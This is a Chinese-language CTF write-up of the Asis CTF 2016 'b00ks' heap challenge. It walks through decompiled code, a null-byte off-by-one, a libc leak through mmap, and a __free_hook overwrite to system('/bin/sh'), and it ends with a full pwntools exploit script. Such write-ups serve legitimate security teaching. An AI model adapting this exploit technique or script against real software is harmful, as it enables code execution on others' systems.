Off-By-One漏洞之Asis CTF 2016
Asis CTF 2016 b00ks (null byte overflow)(heap)
是一个图书管理程序
拉进ida反编译得到源代码,为了可读性,我对一些变量都进行重命名。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
sub_A77();
get_author_name();
while ( 1 )
{
v5 = menu();
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
create(v3);
break;
case 2:
delete(v3);
break;
case 3:
edit(v3);
break;
case 4:
show(v3);
break;
case 5:
get_author_name();
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
程序所反映出来有5个主要处理操作,如menu内容所显示:
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
看一下几个关键的函数
my_read函数
__int64 __fastcall my_read(_BYTE *ptr, int size)
{
int i; // [rsp+14h] [rbp-Ch]
if ( size <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, ptr, 1uLL) != 1 )
return 1LL;
if ( *ptr == 10 )
break;
++ptr;
if ( i == size )
break;
}
*ptr = 0;//最后的szie+1处的字节清零
return 0LL;
}
这个函数作用就是逐字节的往ptr读入,可以读入size+1大小个字节。
create函数
__int64 create()
{
int size; // [rsp+0h] [rbp-20h] BYREF
int Id; // [rsp+4h] [rbp-1Ch]
void *book_control_ptr; // [rsp+8h] [rbp-18h]
void *book_name_ptr; // [rsp+10h] [rbp-10h]
void *book_description_ptr; // [rsp+18h] [rbp-8h]
size = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
book_name_ptr = malloc(size);
if ( !book_name_ptr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)my_read(book_name_ptr, size - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
book_description_ptr = malloc(size);
if ( book_description_ptr )
{
printf("Enter book description: ");
if ( (unsigned int)my_read(book_description_ptr, size - 1) )
{
printf("Unable to read description");
}
else
{
Id = id();
if ( Id == -1 )
{
printf("Library is full");
}
else
{
book_control_ptr = malloc(0x20uLL);
if ( book_control_ptr )
{
*((_DWORD *)book_control_ptr + 6) = size;
*((_QWORD *)book_control_addr_ptr + Id) = book_control_ptr;
*((_QWORD *)book_control_ptr + 2) = book_description_ptr;
*((_QWORD *)book_control_ptr + 1) = book_name_ptr;
*(_DWORD *)book_control_ptr = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( book_name_ptr )
free(book_name_ptr);
if ( book_description_ptr )
free(book_description_ptr);
if ( book_control_ptr )
free(book_control_ptr);
return 1LL;
}
这个程序有申请三个堆操作,先给book的name申请任意大小的chunk0;再给book的description申请任意大小的chunk1;最后申请0x20大小的chunk2,保存book的次序,上面两个返回指针,还有description的尺寸。
这样就好像为book定义了一个维护的结构体
struct book {
__int64 id;
char *name;
char *description
__int64 size;
}
对程序进行调试,创建一个book,查看堆的具体内容,从上至下分别是book_name、book_description、book_control三个chunk,结合上面所画的图就可以清晰理解。
delete函数
__int64 delete()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)book_control_addr_ptr + i) || **((_DWORD **)book_control_addr_ptr + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 8LL));//释放存放book_name的chunk
free(*(void **)(*((_QWORD *)book_control_addr_ptr + i) + 16LL));//再释放存放description的chunk
free(*((void **)book_control_addr_ptr + i));//释放book_control的chunk
*((_QWORD *)book_control_addr_ptr + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}
delete函数操作主要是free三个chunk
其他函数就是对三个chunk的读写操作,就不啰嗦了。
漏洞利用
在程序一开头,输入author name的时候读入的size是32,这存在一个边界检验问题,是一个null byte off-by-one的漏洞。
从ida查看,可以看到off_202018指向,最终是bss段的一段长为32字节的存储空间。
在调试环境中的地址为0x555555756040~0x55555575605F
0x555555756060
则是book_control_addr_ptr的开始存储位置,book_control_addr_ptr就是存储一个个book_control_ptr的数组,而且每一个book_control_ptr所在数组下标与他们的id都一一对应。
read函数不会添加\x00
字符,这是我跟网上一些文章意见不同的地方。之所以off_202018[size]后面一个字节会是00是因为my_read函数所自定义的操作。会把\x0a
替换为\x00
。
*ptr = 0;
输入32个字符,my_read 函数读入字符和回车符,\x0a
替换为\x00
放到了 0x555555756060 的位置。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 \x00
。
也就是说再次基础上,通过调用show函数
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
函数中的这个printf便可以把后面的指针0x0000555555757710
打印出来,达到泄露地址的目的。
如下图,是输入32个字节的author 的name并创建一个book之后的内存分布。
由于主程序还提供修改author name的功能,那完全可以依照上述的操作,把越界的00字符覆盖存好的指针的低字节。实现从0x0000555555757710
到0x0000555555757700
接着申请一个大一点的book_description的chunk,包含覆盖后的指针的地址,也就是让这个指针指向了我们可以控制的内容
以上就是null byte 溢出的off-by-one在这道题的体现。
到目前为止,利用该漏洞可以实现任意地址的读与修改
如果PIE关闭那么可以直接修改一些外部函数的像free的got地址,改为system地址,构造参数实现利用。
但是PIE开着,意味着数据段代码段都是变换地址的。而且没有很好的直接泄露libc基地址的漏洞。
所以,接下来是这道题的又一精髓。申请足超大的空间,使得堆只能用mmap分配的模式(而不是brk扩展)。由于mmap的地址与libc的偏移固定,所以可以泄露mmap地址之后再用偏移算出libc的基地址。
思路分析
-
先create第一个
book1
,descripton的尺寸0x140,把book_control_ptr即第一个book的chunk2返回地址泄露出来 -
再create第二个
book2
,name和description的大小为0x21000字节,这样会由mmap函数分配 -
在
book1
的description中,伪造fake book
的chunk2,里面的指针是我们构造的:让其name指针和description指针分别指向book2
的chunk2的name指针和description指针保留处,这两个地址通过泄露地址推算出来。 -
通过null byte的溢出覆盖,原本指向
book1
chunk2转变为指向fake book
的chunk2的返回地址,这样相当于对book1
操作就是对伪造的fake book
操作 -
通过show
book1
,就可以把book2
的name指针泄露出来。这样根据mmap与libc的偏移可以算出libc base address
-
通过libc base address, 推算出
__free_hook
和system
在程序中的实际位置 -
通过
book1
修book2
的name指针为bin_sh
、 description指针为__free_hook
, 在修改second b00k的description内容为system
。这样一来,在edit的时候就会把__free_hook
的地址给改成system的地址 -
最后执行delete
book2
。程序会free book2_name这个chunk,但是free被改成system
,book2_name存放的地址是/bin/sh
地址。这样就执行了system('/bin/sh')。
exploit代码如下:
from pwn import *
context.log_level="info"
binary=ELF("b00ks")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=process("./b00ks")
def createbook(name_size,name,des_size,des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id=int(io.readline()[:-1])
io.readuntil(": ")
book_name=io.readline()[:-1]
io.readuntil(": ")
book_des=io.readline()[:-1]
io.readuntil(": ")
book_author=io.readline()[:-1]
return book_id,book_name,book_des,book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id,new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("A"*32)
createbook(0x140,"a",0x140,"a")
createbook(0x21000,"a",0x21000,"b")
book_id_1,book_name,book_des,book_author=printbook(1)
book1_addr=u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:"+hex(book1_addr))
payload='a'*0x90+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff)
editbook(book_id_1,payload)
changename("A"*32)
book_id_1,book_name,book_des,book_author=printbook(1)
book2_name_addr=u64(book_name.ljust(8,"\x00"))
log.success("book2 name addr:"+hex(book2_name_addr))
libc_base=book2_name_addr-0x5c6010
log.success("libc base:"+hex(libc_base))
free_hook=libc_base + 0x3C67A8
bin_sh =libc_base + 0x18ce57
system=libc_base + 0x453a0
log.success("free_hook:"+hex(free_hook))
log.success("system:"+hex(system))
editbook(1,p64(bin_sh)+p64(free_hook))
editbook(2,p64(system))
deletebook(2)
io.interactive()